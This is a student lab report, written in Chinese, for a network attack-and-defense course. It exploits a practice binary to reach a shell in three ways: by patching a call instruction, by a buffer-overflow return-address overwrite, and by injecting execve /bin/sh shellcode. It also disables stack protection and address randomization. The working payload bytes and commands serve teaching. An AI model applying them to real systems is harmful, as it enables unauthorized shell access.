2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
二、基础知识
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
- 缓冲区溢出概图:
三、Exp1.1 直接修改程序机器指令,改变程序执行流程
实验步骤:
- 反汇编:查看pwn20165237的代码机器指令和汇编语言
objdump -d pwn20165237 | more
- 进行编辑:
vi pwn20165237
在vi里面进行以下步骤
- 使用 :%!xxd显示模式切换为16进制模式
- 使用 /e8d7查找要修改的内容
,并将d7修改成c3,保存并退出 将16进制转换回原格式 :%!xxd -r,:wq!退出
- 进行反汇编查看机器指令和汇编语言
objdump -d pwn20165237 | more
- 验证:
./pwn20165237
四、Exp1.2通过构造输入参数,造成BOF攻击,改变程序执行流
实验步骤
- 确认返回地址:
objdump -d pwn5237 | more
查看getshell()的内存地址
对pwn5237进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678
- 得到ASCII码值 0x34333231 也就是倒序的1234
我们需要将其替换成getshell的返回地址 0x0804847d 生成包含字符串的文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 使用命令
(cat input;cat) | ./pwn5237
将input的内容作为./pwn5237的输入,并验证结果
五、Exp1.3Shellcode注入攻击
安装execstack:apt-get install execstack
设置堆栈可执行: execstack -s pwn1
查询文件的堆栈是否可执行: execstack -q pwn1
关闭地址随机化: echo "0" > /proc/sys/kernel/randomize_va_space
查看地址随机化是否已经关闭: more /proc/sys/kernel/randomize_va_space
注入攻击
再打开一个终端Ctrl+Alt+t,找到进程号为33071
- 使用gdb调试进程
gdb pwn1
attach 33071
disassemble foo
break *0x080484ae
continue
info r esp
x/16x 0xffffd30c
通过计算,得到shellcode的地址是0xffffd310
- 输入指令:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
- 验证:
六、实验感想与问题
感想:这次实验,通过和舍友的讨论以及百度的帮助让我对缓冲区溢出攻击有了更深刻的认识,尤其是栈的溢出与替换;实验操作过程中根据指导书按部就班得做没有什么困难,希望能够再接再厉,学到更多有用的知识!
什么是漏洞?漏洞有什么危害?
答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。本次实验的缓冲区溢出原理就是一个漏洞。他们会使计算机遭受病毒和黑客攻击,将自己的私人信息泄露出去。